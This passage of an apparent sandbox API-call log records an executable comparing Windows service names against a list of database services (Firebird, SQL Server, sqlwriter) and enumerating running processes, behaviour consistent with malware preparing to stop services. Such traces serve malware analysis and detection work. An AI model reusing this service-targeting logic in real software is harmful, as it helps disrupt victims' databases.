(lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0148.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0148.446] lstrlenW (lpString="PlugPlay") returned 8 [0148.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0148.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0148.446] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0148.446] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0148.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0148.446] lstrlenW (lpString="Power") returned 5 [0148.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0148.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0148.446] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0148.446] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0148.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0148.446] lstrlenW (lpString="ProfSvc") returned 7 [0148.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0148.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0148.447] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0148.447] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0148.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0148.447] lstrlenW (lpString="RpcEptMapper") returned 12 [0148.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0148.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0148.447] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0148.447] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0148.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0148.447] lstrlenW (lpString="RpcSs") returned 5 [0148.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0148.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0148.447] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0148.447] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0148.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0148.447] lstrlenW (lpString="SamSs") returned 5 [0148.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0148.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0148.447] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0148.447] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0148.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0148.447] lstrlenW (lpString="Schedule") returned 8 [0148.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0148.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0148.447] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0148.447] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0148.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0148.447] lstrlenW (lpString="SecurityHealthService") returned 21 [0148.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0148.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0148.447] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0148.447] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0148.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0148.447] lstrlenW (lpString="SENS") returned 4 [0148.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0148.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0148.447] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0148.447] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0148.447] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0148.447] lstrlenW (lpString="ShellHWDetection") returned 16 [0148.447] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0148.447] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0148.447] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0148.448] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0148.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0148.448] lstrlenW (lpString="sppsvc") returned 6 [0148.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0148.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0148.448] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0148.448] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0148.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0148.448] lstrlenW (lpString="SSDPSRV") returned 7 [0148.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0148.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0148.448] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0148.448] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0148.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0148.448] lstrlenW (lpString="StateRepository") returned 15 [0148.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0148.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0148.448] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0148.448] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0148.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0148.448] lstrlenW (lpString="SysMain") returned 7 [0148.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0148.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0148.448] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0148.448] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0148.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0148.448] lstrlenW (lpString="SystemEventsBroker") returned 18 [0148.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0148.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0148.448] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0148.448] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0148.448] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0148.448] lstrlenW (lpString="Themes") returned 6 [0148.448] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0148.448] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0148.448] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0148.448] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0148.449] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0148.724] Process32FirstW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.724] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0148.725] lstrlenW (lpString="System") returned 6 [0148.725] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0148.725] lstrlenW (lpString="smss.exe") returned 8 [0148.725] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0148.726] lstrlenW (lpString="csrss.exe") returned 9 [0148.726] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0148.726] lstrlenW (lpString="wininit.exe") returned 11 [0148.726] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0148.727] lstrlenW (lpString="csrss.exe") returned 9 [0148.727] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0148.727] lstrlenW (lpString="winlogon.exe") returned 12 [0148.727] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0148.727] lstrlenW (lpString="services.exe") returned 12 [0148.727] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0148.728] lstrlenW (lpString="lsass.exe") returned 9 [0148.728] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.728] lstrlenW (lpString="svchost.exe") returned 11 [0148.728] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0148.729] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0148.729] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0148.729] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0148.729] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.729] lstrlenW (lpString="svchost.exe") returned 11 [0148.729] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0148.730] lstrlenW (lpString="dwm.exe") returned 7 [0148.730] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.730] lstrlenW (lpString="svchost.exe") returned 11 [0148.730] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.731] lstrlenW (lpString="svchost.exe") returned 11 [0148.731] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.731] lstrlenW (lpString="svchost.exe") returned 11 [0148.731] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.731] lstrlenW (lpString="svchost.exe") returned 11 [0148.731] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.732] lstrlenW (lpString="svchost.exe") returned 11 [0148.732] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.732] lstrlenW (lpString="svchost.exe") returned 11 [0148.732] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.733] lstrlenW (lpString="svchost.exe") returned 11 [0148.733] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.737] lstrlenW (lpString="svchost.exe") returned 11 [0148.737] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.738] lstrlenW (lpString="svchost.exe") returned 11 [0148.738] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.738] lstrlenW (lpString="svchost.exe") returned 11 [0148.738] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.738] lstrlenW (lpString="svchost.exe") returned 11 [0148.738] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0148.739] lstrlenW (lpString="audiodg.exe") returned 11 [0148.739] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0148.739] lstrlenW (lpString="sihost.exe") returned 10 [0148.739] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.740] lstrlenW (lpString="svchost.exe") returned 11 [0148.740] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0148.740] lstrlenW (lpString="taskhostw.exe") returned 13 [0148.740] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0148.740] lstrlenW (lpString="explorer.exe") returned 12 [0148.741] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0148.741] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0148.741] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0148.741] lstrlenW (lpString="Memory Compression") returned 18 [0148.741] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0148.742] lstrlenW (lpString="SearchUI.exe") returned 12 [0148.742] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0148.742] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0148.742] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0148.742] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0148.743] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0148.743] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0148.743] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0148.743] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0148.743] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0148.744] lstrlenW (lpString="migration dying locations.exe") returned 29 [0148.744] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0148.744] lstrlenW (lpString="college-advance.exe") returned 19 [0148.744] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0148.745] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0148.745] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0148.745] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0148.745] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0148.745] lstrlenW (lpString="metallic.exe") returned 12 [0148.745] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0148.746] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0148.746] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0148.746] lstrlenW (lpString="brown parade bases.exe") returned 22 [0148.746] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0148.747] lstrlenW (lpString="specified wales.exe") returned 19 [0148.747] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0148.747] lstrlenW (lpString="inspiration.exe") returned 15 [0148.747] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0148.747] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0148.747] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0148.748] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0148.748] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0148.748] lstrlenW (lpString="classbuck.exe") returned 13 [0148.748] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0148.749] lstrlenW (lpString="x-deutschland.exe") returned 17 [0148.749] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, 